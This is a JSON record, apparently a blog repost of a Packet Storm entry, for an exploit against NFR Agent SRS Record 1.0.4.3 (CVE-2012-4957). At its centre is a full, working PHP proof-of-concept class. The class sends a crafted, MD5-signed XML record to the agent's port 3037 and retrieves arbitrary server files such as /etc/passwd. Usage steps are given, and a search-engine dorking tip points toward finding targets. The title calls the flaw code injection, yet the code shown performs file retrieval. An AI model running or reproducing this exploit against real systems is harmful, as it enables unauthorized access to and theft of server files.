{“lastseen”:”2026-02-16T17:15:49″,”description”:”Proof of concept code injection exploit for NFR Agent SRS Record version 1.0.4.3. This is for an older finding from 2012…”,”published”:”2026-02-16T00:00:00″,”modified”:”2026-02-16T00:00:00″,”type”:”packetstorm”,”title”:”\ud83d\udcc4 NFR Agent SRS Record 1.0.4.3 PHP Code Injection”,”source”:””,”references”:””,”id”:”PACKETSTORM:215625″,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[“CVE-2012-4957″],”sourceData”:”=============================================================================================================================================\\n | # Title : NFR Agent SRS Record 1.0.4.3 PHP Code Injection Vulnerability |\\n | # Author : indoushka |\\n | # Tested on : windows 10 Fr(Pro) \/ browser : Mozilla firefox 135.0.1 (64 bits) |\\n | # Vendor : https:\/\/documentation.n-able.com\/remote-management\/userguide\/Content\/agentreleasenotes.htm |\\n =============================================================================================================================================\\n \\n POC :\\n \\n [+] Dorking \u0130n Google Or Other Search Enggine.\\n \\n [+] Code Description: This code is written in PHP and aims to exploit a vulnerability in the NFR Agent to retrieve any file from the targeted server.\\n \\t\\n \\t( https:\/\/packetstorm.news\/files\/id\/181031\/\\tCVE-2012-4957 )\\n \\t\\n [+] save code as poc.php.\\n \\n [+] Set Target : line 49\\n \\n [+] USage : php poc.php \\n \\n [+] PayLoad :\\n \\n \\u003c?php\\n \\n class NFRFileRetriever {\\n private $host;\\n private $port;\\n private $ssl;\\n private $remoteFile;\\n \\n public function __construct($host, $port = 3037, $ssl = true, $remoteFile = null) {\\n $this-\\u003ehost = $host;\\n $this-\\u003eport = $port;\\n $this-\\u003essl = $ssl;\\n $this-\\u003eremoteFile = $remoteFile ?: (strtoupper(substr(PHP_OS, 0, 3)) === ‘WIN’ ? ‘C:\\\\\\\\Windows\\\\\\\\win.ini’ : ‘\/etc\/passwd’);\\n }\\n \\n private function generateMessage() {\\n $record = \\”\\u003cRECORD\\u003e\\u003cNAME\\u003eSRS\\u003c\/NAME\\u003e\\u003cOPERATION\\u003e4\\u003c\/OPERATION\\u003e\\u003cCMD\\u003e103\\u003c\/CMD\\u003e\\u003cPATH\\u003e\\” . $this-\\u003eremoteFile . \\”\\u003c\/PATH\\u003e\\u003c\/RECORD\\u003e\\”;\\n $md5 = strtoupper(md5(\\”SRS\\” . $record . \\”SERVER\\”));\\n return $md5 . $record;\\n }\\n \\n public function retrieveFile() {\\n $url = ($this-\\u003essl ? \\”https\\” : \\”http\\”) . \\”:\/\/\\” . $this-\\u003ehost . \\”:\\” . $this-\\u003eport . \\”\/FSF\/CMD\\”;\\n \\n $message = $this-\\u003egenerateMessage();\\n \\n $options = [\\n ‘http’ =\\u003e [\\n ‘header’ =\\u003e \\”Content-Type: text\/xml\\\\r\\\\n\\”,\\n ‘method’ =\\u003e ‘POST’,\\n ‘content’ =\\u003e $message\\n ]\\n ];\\n \\n $context = stream_context_create($options);\\n $response = file_get_contents($url, false, $context);\\n \\n if ($response \\u0026\\u0026 strpos($response, \\”\\u003cRESULT\\u003e\\”) === false) {\\n $fileName = basename($this-\\u003eremoteFile);\\n file_put_contents($fileName, $response);\\n echo \\”[+] \\” . $this-\\u003eremoteFile . \\” saved as \\” . $fileName . \\”\\\\n\\”;\\n } else {\\n echo \\”[-] Failed to retrieve the file contents\\\\n\\”;\\n }\\n }\\n }\\n \\n \/\/ \u0645\u062b\u0627\u0644 \u0644\u0644\u0627\u0633\u062a\u062e\u062f\u0627\u0645:\\n $retriever = new NFRFileRetriever(‘target_ip’);\\n $retriever-\\u003eretrieveFile();\\n \\n \\n Greetings to :=====================================================================================\\n jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|\\n ===================================================================================================”,”sourceHref”:”https:\/\/packetstorm.news\/download\/215625″,”cvss”:{“score”:7.8,”severity”:”HIGH”,”vector”:”AV:N\/AC:L\/Au:N\/C:C\/I:N\/A:N”,”version”:”2.0″},”cvss2″:{},”cvss3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””,”cvssV3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””}},”href”:”https:\/\/packetstorm.news\/files\/id\/215625\/”,”category_name”:”Exploit”,”post_link”:””,”product”:””,”version”:””,”vendor”:””,”ai_description”:””,”ai_severity”:””,”ai_vendor”:””,”ai_product”:””,”ai_version”:””,”ai_score”:0}<\/p>\n","protected":false},"excerpt":{"rendered":"
{“lastseen”:”2026-02-16T17:15:49″,”description”:”Proof of concept code injection exploit for NFR Agent SRS Record version 1.0.4.3. This is for an older finding from 2012…”,”published”:”2026-02-16T00:00:00″,”modified”:”2026-02-16T00:00:00″,”type”:”packetstorm”,”title”:”\ud83d\udcc4 NFR Agent SRS Record…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,28,12,15,13,53,7,11,5],"class_list":["post-41044","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-cvss-78","tag-exploit","tag-high","tag-news","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"\n